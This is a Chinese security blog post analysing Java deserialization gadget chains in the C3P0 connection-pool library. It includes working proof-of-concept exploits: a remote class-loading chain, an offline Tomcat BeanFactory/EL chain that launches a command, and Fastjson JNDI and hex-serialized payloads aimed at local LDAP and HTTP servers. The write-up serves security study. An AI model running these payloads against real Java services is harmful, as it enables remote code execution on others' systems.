前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Java安全之C3P0反序列化

Java安全之C3P0反序列化

作者头像
ph0ebus
发布2023-08-26 15:19:42
2970
发布2023-08-26 15:19:42
举报

简介

C3P0是一个开源的JDBC连接池,它实现了数据源和 JNDI 绑定,具有连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能,支持 JDBC3 规范和 JDBC2 的标准扩展。 使用它的开源项目有Hibernate、Spring等。例如在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。

测试环境

java version “1.8.0_111”

pom.xml

代码语言:javascript
复制
<dependencies>
    <dependency>
        <groupId>com.mchange</groupId>
        <artifactId>c3p0</artifactId>
        <version>0.9.5.2</version>
    </dependency>
</dependencies>

利用链

URLClassLoader利用链

PoolBackedDataSource在序列化时可以序列化入一个任意Reference类,在PoolBackedDataSource反序列化时该Reference类中指定的对象会被URLClassLoader远程加载实例化。

代码语言:javascript
复制
* java.lang.Class->forName()
* com.mchange.v2.naming.ReferenceableUtils->referenceToObject()
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject

跟进PoolBackedDataSourceBase#readObject()

代码语言:javascript
复制
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    short version = ois.readShort();
    switch (version) {
        case 1:
            Object o = ois.readObject();
            if (o instanceof IndirectlySerialized) {
                o = ((IndirectlySerialized)o).getObject();
            }

            this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
            this.dataSourceName = (String)ois.readObject();
            o = ois.readObject();
            if (o instanceof IndirectlySerialized) {
                o = ((IndirectlySerialized)o).getObject();
            }

            this.extensions = (Map)o;
            this.factoryClassLocation = (String)ois.readObject();
            this.identityToken = (String)ois.readObject();
            this.numHelperThreads = ois.readInt();
            this.pcs = new PropertyChangeSupport(this);
            this.vcs = new VetoableChangeSupport(this);
            return;
        default:
            throw new IOException("Unsupported Serialized Version: " + version);
    }
}

首先验证了版本号,然后获取反序列化得到的对象,并判断是否实现了IndirectlySerialized接口,如果实现了该接口就调用对象的getObject方法,查看PoolBackedDataSourceBase#writeObject()

代码语言:javascript
复制
private void writeObject(ObjectOutputStream oos) throws IOException {
    oos.writeShort(1);

    ReferenceIndirector indirector;
    try {
        SerializableUtils.toByteArray(this.connectionPoolDataSource);
        oos.writeObject(this.connectionPoolDataSource);
    } catch (NotSerializableException var9) {
        MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);

        try {
            indirector = new ReferenceIndirector();
            oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
        } catch (IOException var7) {
            throw var7;
        } catch (Exception var8) {
            throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + var8.toString());
        }
    }

    oos.writeObject(this.dataSourceName);

    try {
        SerializableUtils.toByteArray(this.extensions);
        oos.writeObject(this.extensions);
    } catch (NotSerializableException var6) {
        MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var6);

        try {
            indirector = new ReferenceIndirector();
            oos.writeObject(indirector.indirectForm(this.extensions));
        } catch (IOException var4) {
            throw var4;
        } catch (Exception var5) {
            throw new IOException("Problem indirectly serializing extensions: " + var5.toString());
        }
    }

    oos.writeObject(this.factoryClassLocation);
    oos.writeObject(this.identityToken);
    oos.writeInt(this.numHelperThreads);
}

可以发现它会尝试将connectionPoolDataSource属性序列化,如果发生错误便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作。跟进indirectForm方法

代码语言:javascript
复制
public IndirectlySerialized indirectForm(Object var1) throws Exception {
    Reference var2 = ((Referenceable)var1).getReference();
    return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}

此方法会调用connectionPoolDataSource属性的getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将该对象返回,也就是序列化的是ReferenceSerialized对象

而ReferenceSerialized实现了IndirectlySerialized接口,如果ReferenceSerialized被序列化到了序列流中,那么这里调用可以是ReferenceSerialized#getObject

代码语言:javascript
复制
public Object getObject() throws ClassNotFoundException, IOException {
try {
    InitialContext var1;
    if (this.env == null) {
        var1 = new InitialContext();
    } else {
        var1 = new InitialContext(this.env);
    }

    Context var2 = null;
    if (this.contextName != null) {
        var2 = (Context)var1.lookup(this.contextName);
    }

    return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
} catch (NamingException var3) {
    if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) {
        ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", var3);
    }

    throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + var3.toString());
}

可以发现这里可以调用ReferenceableUtils#referenceToObject()这个静态方法

代码语言:javascript
复制
public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
    try {
        String var4 = var0.getFactoryClassName();
        String var11 = var0.getFactoryClassLocation();
        ClassLoader var6 = Thread.currentThread().getContextClassLoader();
        if (var6 == null) {
            var6 = ReferenceableUtils.class.getClassLoader();
        }

        Object var7;
        if (var11 == null) {
            var7 = var6;
        } else {
            URL var8 = new URL(var11);
            var7 = new URLClassLoader(new URL[]{var8}, var6);
        }

        Class var12 = Class.forName(var4, true, (ClassLoader)var7);
        ObjectFactory var9 = (ObjectFactory)var12.newInstance();
        return var9.getObjectInstance(var0, var1, var2, var3);
    } catch (Exception var10) {
        if (logger.isLoggable(MLevel.FINE)) {
            logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
        }

        NamingException var5 = new NamingException("Could not resolve Reference to Object!");
        var5.setRootCause(var10);
        throw var5;
    }
}

这里Reference var0在序列化过程中是可控的,那么就可以构造通过URLClassLoader实例化远程类,造成任意代码执行了。不过这里Class.forName(String name, boolean initialize, ClassLoader loader)中initialize的值为true,也就是会初始化类,恶意代码写在静态代码块就会自动执行。因此有没有newInstance()这里都能触发漏洞

PoC

代码语言:javascript
复制
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;

public class URLClassLoaderTest {
    private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{
        protected String classFactory = null;
        protected String classFactoryLocation = null;
        public ConnectionPool(String classFactory,String classFactoryLocation){
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        }
        @Override
        public Reference getReference() throws NamingException {return new Reference("ref",classFactory,classFactoryLocation);}
        @Override
        public PooledConnection getPooledConnection() throws SQLException {return null;}
        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}
        @Override
        public PrintWriter getLogWriter() throws SQLException {return null;}
        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {}
        @Override
        public void setLoginTimeout(int seconds) throws SQLException {}
        @Override
        public int getLoginTimeout() throws SQLException {return 0;}
        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}
    }
    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();

        ConnectionPool connectionPool = new ConnectionPool("Main","http://127.0.0.1:8000/");
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(obj, connectionPool);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}
不出网利用

和URLClassLoader利用链的调用链一样,只是最后不通过URLClassLoader加载远程字节码实例化远程类了

代码语言:javascript
复制
public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
    try {
        String var4 = var0.getFactoryClassName();
        String var11 = var0.getFactoryClassLocation();
        ClassLoader var6 = Thread.currentThread().getContextClassLoader();
        if (var6 == null) {
            var6 = ReferenceableUtils.class.getClassLoader();
        }

        Object var7;
        if (var11 == null) {
            var7 = var6;
        } else {
            URL var8 = new URL(var11);
            var7 = new URLClassLoader(new URL[]{var8}, var6);
        }

        Class var12 = Class.forName(var4, true, (ClassLoader)var7);
        ObjectFactory var9 = (ObjectFactory)var12.newInstance();
        return var9.getObjectInstance(var0, var1, var2, var3);
    } catch (Exception var10) {
        if (logger.isLoggable(MLevel.FINE)) {
            logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
        }

        NamingException var5 = new NamingException("Could not resolve Reference to Object!");
        var5.setRootCause(var10);
        throw var5;
    }
}

可以看到如果String var11 = var0.getFactoryClassLocation();这里返回为null的时候就直接加载本地字节码。

这里就和 JNDI 注入异曲同工了

JNDI注入中,目标代码中调用了InitialContext.lookup(URI),且URI为可控;攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例; 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

如果不使用URLClassLoader加载类的话,就需要加载并实例化本地实现了javax.naming.spi.ObjectFactory 接口的类,并调用getObjectInstance 方法。在 JNDI 注入高版本限制绕过中,也不能加载远程字节码,这里可以利用它的绕过方法进行C3P0链的不出网利用

org.apache.naming.factory.BeanFactory 满足条件并且存在被利用的可能。BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛

代码语言:javascript
复制
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
import org.apache.naming.ResourceRef;

public class BeanFactoryTest {
    private static final class ConnectionPool implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public ConnectionPool ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            String cmd = "calc";
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\")"));
            return ref;
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }
    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();

        ConnectionPool connectionPool = new ConnectionPool("org.apache.naming.factory.BeanFactory",null);
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(obj, connectionPool);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream bais = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}
基于Fastjson进行JNDI注入

触发点在com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()

代码语言:javascript
复制
private DataSource dereference() throws SQLException {
    Object jndiName = this.getJndiName();
    Hashtable jndiEnv = this.getJndiEnv();

    try {
        InitialContext ctx;
        if (jndiEnv != null) {
            ctx = new InitialContext(jndiEnv);
        } else {
            ctx = new InitialContext();
        }

        if (jndiName instanceof String) {
            return (DataSource)ctx.lookup((String)jndiName);
        } else if (jndiName instanceof Name) {
            return (DataSource)ctx.lookup((Name)jndiName);
        } else {
            throw new SQLException("Could not find ConnectionPoolDataSource with JNDI name: " + jndiName);
        }
    } catch (NamingException var4) {
        if (logger.isLoggable(MLevel.WARNING)) {
            logger.log(MLevel.WARNING, "An Exception occurred while trying to look up a target DataSource via JNDI!", var4);
        }

        throw SqlUtils.toSQLException(var4);
    }
}

com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()调用了 dereference() 方法

代码语言:javascript
复制
private synchronized DataSource inner() throws SQLException {
    if (this.cachedInner != null) {
        return this.cachedInner;
    } else {
        DataSource out = this.dereference();
        if (this.isCaching()) {
            this.cachedInner = out;
        }

        return out;
    }
}

而 setLogWriter 和 setLoginTimeout 两个 setter 方法调用了 inner() 方法

代码语言:javascript
复制
public void setLogWriter(PrintWriter out) throws SQLException {
    this.inner().setLogWriter(out);
}
// ...
public void setLoginTimeout(int seconds) throws SQLException {
    this.inner().setLoginTimeout(seconds);
}

这就符合了fastjson的利用条件,那么可以用工具起一个LDAP server恶意利用

代码语言:javascript
复制
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc", "loginTimeout":0}
基于Fastjson的反序列化

fastjson < 1.2.47

链子开头是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners()这个setter方法

代码语言:javascript
复制
private void setUpPropertyListeners() {
    VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() {
        public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
            String propName = evt.getPropertyName();
            Object val = evt.getNewValue();
            if ("connectionTesterClassName".equals(propName)) {
                try {
                    WrapperConnectionPoolDataSource.this.recreateConnectionTester((String)val);
                } catch (Exception var5) {
                    if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
                        WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to create ConnectionTester of class " + val, var5);
                    }

                    throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
                }
            } else if ("userOverridesAsString".equals(propName)) {
                try {
                    WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
                } catch (Exception var6) {
                    if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
                        WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, var6);
                    }

                    throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
                }
            }

        }
    };
    this.addVetoableChangeListener(setConnectionTesterListener);
}

这个setter方法里调用了C3P0ImplUtils.parseUserOverridesAsString()方法

代码语言:javascript
复制
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
    if (userOverridesAsString != null) {
        String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
        byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
        return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
    } else {
        return Collections.EMPTY_MAP;
    }
}

这里用substring()对传入的userOverridesAsString进行字符截取,然后调用fromHexAscii()

代码语言:javascript
复制
public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
    Object var1 = deserializeFromByteArray(var0);
    return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
}

// ...

/** @deprecated */
public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
    ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
    return var1.readObject();
}

这里就可以调用反序列化了

代码语言:javascript
复制
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:<payload>;"}}";

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-08-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 测试环境
  • 利用链
    • URLClassLoader利用链
      • 不出网利用
        • 基于Fastjson进行JNDI注入
          • 基于Fastjson的反序列化
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档